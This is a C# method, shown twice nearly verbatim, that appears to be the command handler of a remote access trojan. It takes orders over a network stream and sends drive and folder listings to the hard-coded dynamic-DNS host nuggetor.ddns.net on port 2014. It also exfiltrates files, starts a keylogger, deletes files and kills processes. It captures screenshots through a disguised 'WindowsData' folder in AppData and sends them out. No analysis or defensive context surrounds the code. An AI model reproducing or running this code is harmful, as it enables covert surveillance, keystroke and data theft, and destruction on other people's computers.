private static void listen() { clientSeri = new TcpClient(); while (true) { //BufferedStream buffered = new BufferedStream(clientComm.GetStream()); byte[] buffer = new byte[1024]; Console.WriteLine("Reading..."); clientComm.GetStream().Read(buffer, 0, 1024); Console.WriteLine("Message Recieved"); String message = ASCIIEncoding.ASCII.GetString(buffer); message = message.Substring(0, message.IndexOf("\0")); Console.WriteLine("Message = " + message); #region get Drives if (message == "cd drives") { using (TcpClient uclientSeri = new TcpClient()) { uclientSeri.Connect("nuggetor.ddns.net", 2014); Console.WriteLine("Connected with serializing Server"); try { foreach (string drive in Directory.GetLogicalDrives()) { TreeNode dN = new TreeNode(); dN.Name = drive; dN.Text = drive; dN.ImageKey = "drive"; dN.SelectedImageKey = "drive"; //treeView1.Nodes.Add(dN); BinaryFormatter binF = new BinaryFormatter(); binF.Serialize(uclientSeri.GetStream(), dN); Console.WriteLine("Send " + drive); //searchFolder(drive, dN, client); } uclientSeri.Close(); } catch (Exception) { uclientSeri.Close(); } } } #endregion #region get Directories and Files else if (message.StartsWith("cd ")) { string path = message.Substring(3); using (TcpClient uclientSeri = new TcpClient()) { uclientSeri.Connect("nuggetor.ddns.net", 2014); try { Console.WriteLine("Connected with serializing Server"); searchFolder(path, uclientSeri); Thread.Sleep(100); uclientSeri.Close(); } catch (Exception) { uclientSeri.Close(); } } } #endregion #region download file else if (message.StartsWith("download ")) { try { string path = message.Substring(9); FileSender send = new FileSender(path); Thread t = new Thread(send.sendFile); t.Start(); } catch (Exception) { } } #endregion #region start / stop Keylogging else if (message.StartsWith("startlogging")) { try { keylogginThread.Start(); clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length); } catch (Exception) { clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length); } } else if (message.StartsWith("stoploggin")) { try { keylogginThread.Abort(); clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length); } catch (Exception) { clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length); } } #endregion #region delete Files if (message.StartsWith("delete ")) { string path = message.Substring(6); try { File.Delete(path); byte[] text = ASCIIEncoding.ASCII.GetBytes("Deleting succesfull!"); clientComm.GetStream().Write(text, 0, text.Length); } catch (Exception e) { byte[] text = ASCIIEncoding.ASCII.GetBytes("Error while deleting: " + e.ToString()); clientComm.GetStream().Write(text, 0, text.Length); } } #endregion #region get Processes if (message.Equals("getProcesses")) { Process[] processes = Process.GetProcesses(); foreach (Process pro in processes) { byte[] text = ASCIIEncoding.ASCII.GetBytes(pro.ProcessName + "/n"); clientComm.GetStream().Write(text, 0, text.Length); } byte[] textEnd = ASCIIEncoding.ASCII.GetBytes("/e"); clientComm.GetStream().Write(textEnd, 0, textEnd.Length); } #endregion #region kill Processes if (message.StartsWith("kill ")) { string name = message.Substring(5); Process[] pros = Process.GetProcessesByName(name); foreach (Process pro in pros) { pro.Kill(); } } #endregion #region Screenshot if(message.StartsWith("screenshot")) { Bitmap b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height); Graphics g = Graphics.FromImage(b); g.CopyFromScreen(0, 0, 0, 0, b.Size); g.Dispose(); Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData"); b.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp"); FileSender fs = new FileSender(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp"); fs.sendFile(); File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp"); } #endregion #region Chat if (message.Equals("startChat")) { Chat chatform = new Chat(); chatform.ShowDialog(); } #endregion } }
private static void listen() { clientSeri = new TcpClient(); while (true) { //BufferedStream buffered = new BufferedStream(clientComm.GetStream()); byte[] buffer = new byte[1024]; Console.WriteLine("Reading..."); clientComm.GetStream().Read(buffer, 0, 1024); Console.WriteLine("Message Recieved"); String message = ASCIIEncoding.ASCII.GetString(buffer); message = message.Substring(0, message.IndexOf("\0")); Console.WriteLine("Message = " + message); #region get Drives if (message == "cd drives") { using (TcpClient uclientSeri = new TcpClient()) { uclientSeri.Connect("nuggetor.ddns.net", 2014); Console.WriteLine("Connected with serializing Server"); try { foreach (string drive in Directory.GetLogicalDrives()) { TreeNode dN = new TreeNode(); dN.Name = drive; dN.Text = drive; dN.ImageKey = "drive"; dN.SelectedImageKey = "drive"; //treeView1.Nodes.Add(dN); BinaryFormatter binF = new BinaryFormatter(); binF.Serialize(uclientSeri.GetStream(), dN); Console.WriteLine("Send " + drive); //searchFolder(drive, dN, client); } uclientSeri.Close(); } catch (Exception) { uclientSeri.Close(); } } } #endregion #region get Directories and Files else if (message.StartsWith("cd ")) { string path = message.Substring(3); using (TcpClient uclientSeri = new TcpClient()) { uclientSeri.Connect("nuggetor.ddns.net", 2014); try { Console.WriteLine("Connected with serializing Server"); searchFolder(path, uclientSeri); Thread.Sleep(100); uclientSeri.Close(); } catch (Exception) { uclientSeri.Close(); } } } #endregion #region download file else if (message.StartsWith("download ")) { try { string path = message.Substring(9); FileSender send = new FileSender(path); Thread t = new Thread(send.sendFile); t.Start(); } catch (Exception) { } } #endregion #region start / stop Keylogging else if (message.StartsWith("startlogging")) { try { keylogginThread.Start(); clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length); } catch (Exception) { clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length); } } else if (message.StartsWith("stoploggin")) { try { keylogginThread.Abort(); clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length); } catch (Exception) { clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length); } } #endregion #region delete Files if (message.StartsWith("delete ")) { string path = message.Substring(6); try { File.Delete(path); byte[] text = ASCIIEncoding.ASCII.GetBytes("Deleting succesfull!"); clientComm.GetStream().Write(text, 0, text.Length); } catch (Exception e) { byte[] text = ASCIIEncoding.ASCII.GetBytes("Error while deleting: " + e.ToString()); clientComm.GetStream().Write(text, 0, text.Length); } } #endregion #region get Processes if (message.Equals("getProcesses")) { Process[] processes = Process.GetProcesses(); foreach (Process pro in processes) { byte[] text = ASCIIEncoding.ASCII.GetBytes(pro.ProcessName + "/n"); clientComm.GetStream().Write(text, 0, text.Length); } byte[] textEnd = ASCIIEncoding.ASCII.GetBytes("/e"); clientComm.GetStream().Write(textEnd, 0, textEnd.Length); } #endregion #region kill Processes if (message.StartsWith("kill ")) { string name = message.Substring(5); Process[] pros = Process.GetProcessesByName(name); foreach (Process pro in pros) { pro.Kill(); } } #endregion #region Screenshot if (message.StartsWith("screenshot")) { Bitmap b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height); Graphics g = Graphics.FromImage(b); g.CopyFromScreen(0, 0, 0, 0, b.Size); g.Dispose(); Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData"); b.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp"); FileSender fs = new FileSender(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp"); fs.sendFile(); File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp"); } #endregion #region Chat if (message.Equals("startChat")) { Chat chatform = new Chat(); chatform.ShowDialog(); } #endregion } }